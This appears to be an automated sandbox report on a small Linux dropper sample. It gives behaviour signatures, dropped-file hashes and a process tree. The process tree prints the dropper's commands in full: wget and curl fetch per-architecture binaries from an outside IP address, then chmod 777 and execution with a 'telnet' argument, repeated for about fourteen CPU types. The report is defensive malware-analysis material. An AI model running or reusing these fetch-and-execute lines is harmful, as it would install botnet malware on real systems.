Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    28/07/2026, 18:28

General

  • Target
    ddea09106c582fb477806ac112018e39d150efa7c12189099a4cf4541b3bc000
  • Size 1KB
  • Sample260728-w4pgysbb43
  • SHA256 ddea09106c582fb477806ac112018e39d150efa7c12189099a4cf4541b3bc000
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 14 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

  • Changes its process name 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 27 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ddea09106c582fb477806ac112018e39d150efa7c12189099a4cf4541b3bc000
    /tmp/ddea09106c582fb477806ac112018e39d150efa7c12189099a4cf4541b3bc000
    1⤵
    • Executes dropped EXE
    PID:1488
    • /usr/bin/wget
      wget http://5.29.56.100:8080/update.x86_64 -O x86_64
      2⤵
      • Writes file to tmp directory
      PID:1489
    • /bin/chmod
      chmod 777 x86_64
      2⤵
      • File and Directory Permissions Modification
      PID:1499
    • /tmp/x86_64
      ./x86_64 telnet
      2⤵
      • Modifies init.d
      • Changes its process name
      • Reads runtime system information
      PID:1500
    • /usr/bin/wget
      wget http://5.29.56.100:8080/update.aarch64 -O aarch64
      2⤵
      • Writes file to tmp directory
      PID:1502
    • /usr/bin/curl
      curl http://5.29.56.100:8080/update.aarch64 -o aarch64
      2⤵
      • Writes file to tmp directory
      PID:1508
    • /bin/chmod
      chmod 777 aarch64
      2⤵
      • File and Directory Permissions Modification
      PID:1516
    • /tmp/aarch64
      ./aarch64 telnet
      2⤵
        PID:1517
      • /usr/bin/wget
        wget http://5.29.56.100:8080/update.m68k -O m68k
        2⤵
        • Writes file to tmp directory
        PID:1519
      • /usr/bin/curl
        curl http://5.29.56.100:8080/update.m68k -o m68k
        2⤵
        • Writes file to tmp directory
        PID:1527
      • /bin/chmod
        chmod 777 m68k
        2⤵
        • File and Directory Permissions Modification
        PID:1535
      • /tmp/m68k
        ./m68k telnet
        2⤵
          PID:1536
        • /usr/bin/wget
          wget http://5.29.56.100:8080/update.mips -O mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1538
        • /usr/bin/curl
          curl http://5.29.56.100:8080/update.mips -o mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1546
        • /bin/chmod
          chmod 777 mips
          2⤵
          • File and Directory Permissions Modification
          PID:1553
        • /tmp/mips
          ./mips telnet
          2⤵
          • System Network Configuration Discovery
          PID:1554
        • /usr/bin/wget
          wget http://5.29.56.100:8080/update.mipsel -O mipsel
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1556
        • /usr/bin/curl
          curl http://5.29.56.100:8080/update.mipsel -o mipsel
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1557
        • /bin/chmod
          chmod 777 mipsel
          2⤵
          • File and Directory Permissions Modification
          PID:1558
        • /tmp/mipsel
          ./mipsel telnet
          2⤵
          • System Network Configuration Discovery
          PID:1559
        • /usr/bin/wget
          wget http://5.29.56.100:8080/update.powerpc -O powerpc
          2⤵
          • Writes file to tmp directory
          PID:1561
        • /usr/bin/curl
          curl http://5.29.56.100:8080/update.powerpc -o powerpc
          2⤵
          • Writes file to tmp directory
          PID:1562
        • /bin/chmod
          chmod 777 powerpc
          2⤵
          • File and Directory Permissions Modification
          PID:1563
        • /tmp/powerpc
          ./powerpc telnet
          2⤵
            PID:1564
          • /usr/bin/wget
            wget http://5.29.56.100:8080/update.sparc -O sparc
            2⤵
            • Writes file to tmp directory
            PID:1566
          • /usr/bin/curl
            curl http://5.29.56.100:8080/update.sparc -o sparc
            2⤵
            • Writes file to tmp directory
            PID:1567
          • /bin/chmod
            chmod 777 sparc
            2⤵
            • File and Directory Permissions Modification
            PID:1568
          • /tmp/sparc
            ./sparc telnet
            2⤵
              PID:1569
            • /usr/bin/wget
              wget http://5.29.56.100:8080/update.sh4 -O sh4
              2⤵
              • Writes file to tmp directory
              PID:1571
            • /usr/bin/curl
              curl http://5.29.56.100:8080/update.sh4 -o sh4
              2⤵
              • Writes file to tmp directory
              PID:1572
            • /bin/chmod
              chmod 777 sh4
              2⤵
              • File and Directory Permissions Modification
              PID:1573
            • /tmp/sh4
              ./sh4 telnet
              2⤵
                PID:1574
              • /usr/bin/wget
                wget http://5.29.56.100:8080/update.arc -O arc
                2⤵
                • Writes file to tmp directory
                PID:1576
              • /usr/bin/curl
                curl http://5.29.56.100:8080/update.arc -o arc
                2⤵
                • Writes file to tmp directory
                PID:1577
              • /bin/chmod
                chmod 777 arc
                2⤵
                • File and Directory Permissions Modification
                PID:1578
              • /tmp/arc
                ./arc telnet
                2⤵
                  PID:1579
                • /usr/bin/wget
                  wget http://5.29.56.100:8080/update.i486 -O i486
                  2⤵
                  • Writes file to tmp directory
                  PID:1581
                • /usr/bin/curl
                  curl http://5.29.56.100:8080/update.i486 -o i486
                  2⤵
                  • Writes file to tmp directory
                  PID:1582
                • /bin/chmod
                  chmod 777 i486
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1583
                • /tmp/i486
                  ./i486 telnet
                  2⤵
                    PID:1584
                  • /usr/bin/wget
                    wget http://5.29.56.100:8080/update.armv4l -O armv4l
                    2⤵
                    • Writes file to tmp directory
                    PID:1585
                  • /usr/bin/curl
                    curl http://5.29.56.100:8080/update.armv4l -o armv4l
                    2⤵
                    • Writes file to tmp directory
                    PID:1586
                  • /bin/chmod
                    chmod 777 armv4l
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1587
                  • /tmp/armv4l
                    ./armv4l telnet
                    2⤵
                      PID:1588
                    • /usr/bin/wget
                      wget http://5.29.56.100:8080/update.armv5l -O armv5l
                      2⤵
                      • Writes file to tmp directory
                      PID:1590
                    • /usr/bin/curl
                      curl http://5.29.56.100:8080/update.armv5l -o armv5l
                      2⤵
                      • Writes file to tmp directory
                      PID:1591
                    • /bin/chmod
                      chmod 777 armv5l
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1592
                    • /tmp/armv5l
                      ./armv5l telnet
                      2⤵
                        PID:1593
                      • /usr/bin/wget
                        wget http://5.29.56.100:8080/update.armv6l -O armv6l
                        2⤵
                        • Writes file to tmp directory
                        PID:1595
                      • /usr/bin/curl
                        curl http://5.29.56.100:8080/update.armv6l -o armv6l
                        2⤵
                        • Writes file to tmp directory
                        PID:1596
                      • /bin/chmod
                        chmod 777 armv6l
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1597
                      • /tmp/armv6l
                        ./armv6l telnet
                        2⤵
                          PID:1598
                        • /usr/bin/wget
                          wget http://5.29.56.100:8080/update.armv7l -O armv7l
                          2⤵
                          • Writes file to tmp directory
                          PID:1600
                        • /usr/bin/curl
                          curl http://5.29.56.100:8080/update.armv7l -o armv7l
                          2⤵
                          • Writes file to tmp directory
                          PID:1601
                        • /bin/chmod
                          chmod 777 armv7l
                          2⤵
                          • File and Directory Permissions Modification
                          PID:1602
                        • /tmp/armv7l
                          ./armv7l telnet
                          2⤵
                            PID:1603

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              xs.main

                              • Path /etc/init.d/xs.main
                              • Size 26B
                              • SHA256 1e086908fc257d9bee94b70e2bea5a170e5284ec3dd21d5c132030c5ea2f2757
                              • MD5 SHA1 SHA512

                              aarch64

                              • Path /tmp/aarch64
                              • Size 40KB
                              • SHA256 fc06ef9bedf89a595cd28af6274bf833457678f8c4ad9282ba3c064b3b62b333
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              arc

                              • Path /tmp/arc
                              • Size 33KB
                              • SHA256 242287239053e17f7602a413ba18aa1ace4a780d32d75fffdeadd0104bea94ca
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              arc

                              • Path /tmp/arc
                              • Size 20KB
                              • SHA256 74bb0745e339ba4c54427517e73739ded95882bd580689515b1d90eed8b8208c
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              armv4l

                              • Path /tmp/armv4l
                              • Size 42KB
                              • SHA256 70b62cbc379c2fc97366e32a751043c04631a8a6ca7a4e57904c9cce26d9e72d
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              armv4l

                              • Path /tmp/armv4l
                              • Size 40KB
                              • SHA256 bcb38a92495fce0989940b10a04f32346771ea434f07306e07842a2312c826db
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              armv5l

                              • Path /tmp/armv5l
                              • Size 40KB
                              • SHA256 3ed70fafdc9960265b096e466226e536fedf620e001aab381eb6afd0335a924a
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              armv5l

                              • Path /tmp/armv5l
                              • Size 12KB
                              • SHA256 ccd7a1d343452c40cd44c95a99ce9258fb7c202704964a9c957e644a75be0e71
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              armv6l

                              • Path /tmp/armv6l
                              • Size 42KB
                              • SHA256 1f7c05212701977498bc0ce3eae01e236a4ac12c577d4f2a24615ebec7489516
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              armv6l

                              • Path /tmp/armv6l
                              • Size 12KB
                              • SHA256 c4fb6197834bf7207da688c2511b57ef96504a16c73de077ff6fc9d9ad7637eb
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              armv7l

                              • Path /tmp/armv7l
                              • Size 32KB
                              • SHA256 aada2daf006f19a36acfbc83e4f999d3e06389edcd8382591dda149500e9557c
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              armv7l

                              • Path /tmp/armv7l
                              • Size 12KB
                              • SHA256 b2e2b6162f28a38d2eeefd0725d8bc222a634d30a9cb4b5888328a61d034a643
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              i486

                              • Path /tmp/i486
                              • Size 30KB
                              • SHA256 ef5faf9608316b4ecf0d7e2744deee19e9acdf5f89b8f08c1b73cd01b7c308e9
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              i486

                              • Path /tmp/i486
                              • Size 32KB
                              • SHA256 f578fc1d930fb800ec420459c96189223bf404a46bf97c739d6165cd29441ecd
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              m68k

                              • Path /tmp/m68k
                              • Size 42KB
                              • SHA256 581e8ebbcada8575e8110e8fb998bd0322b601ac421a57d25698660d111dc7ad
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              m68k

                              • Path /tmp/m68k
                              • Size 40KB
                              • SHA256 a071fd36241d2c5ebb151e2439f9f2c8420385f0d7fb6956a93783f3a049b1a4
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              mips

                              • Path /tmp/mips
                              • Size 42KB
                              • SHA256 63d0949ac6ee125362b0107973197ce511e0311cce294d73a5776fc81ef88e2e
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              mips

                              • Path /tmp/mips
                              • Size 92KB
                              • SHA256 3989283e8ad6d734f69f515f89af777e16fdc2a490ecb20717c57c7b6f0ae8f2
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              mipsel

                              • Path /tmp/mipsel
                              • Size 12KB
                              • SHA256 5f62e1368d2cc68a120b0ea27a8e4bb967e10298606a23ab62b0663164962b0d
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              mipsel

                              • Path /tmp/mipsel
                              • Size 42KB
                              • SHA256 c203f57b2771016cd8df8ca72a0d313873e9d232bd522ffd8a8f8edf70a40f29
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              powerpc

                              • Path /tmp/powerpc
                              • Size 27KB
                              • SHA256 cb5ee7e9398e3664040712e5c5b384669f1574282272e3ad43842c1c1441e31c
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              powerpc

                              • Path /tmp/powerpc
                              • Size 20KB
                              • SHA256 60cf2571dc9d8a3880c51f4c892ea75cd176a50b4801c9d75f468c805f857db4
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              sh4

                              • Path /tmp/sh4
                              • Size 42KB
                              • SHA256 b89b26fec06d1182069469f02a73d6d96ab366c87e3f76bcb9793bc4a50dd09f
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              sh4

                              • Path /tmp/sh4
                              • Size 32KB
                              • SHA256 4d3465d238843669f39bc9def90fdafc073329d6cbbadd2685b293dc57f6bef4
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              sparc

                              • Path /tmp/sparc
                              • Size 34KB
                              • SHA256 ac83bb56db2f3ed546a1f52fe867c1df905271863c094ac9a2be118d97ebf03a
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              sparc

                              • Path /tmp/sparc
                              • Size 20KB
                              • SHA256 7cc0ad6e9be861253d4582f61e684bf717e1261ec478ba7bb7c79a6c44c93f9e
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              x86_64

                              • Path /tmp/x86_64
                              • Size 160KB
                              • SHA256 d6c6dc3a4ca82fc4250d4f4a087f505f8004d481368e3edd5b6668338b34c7d2
                              • MD5 SHA1 SHA512 SSDEEP TLSH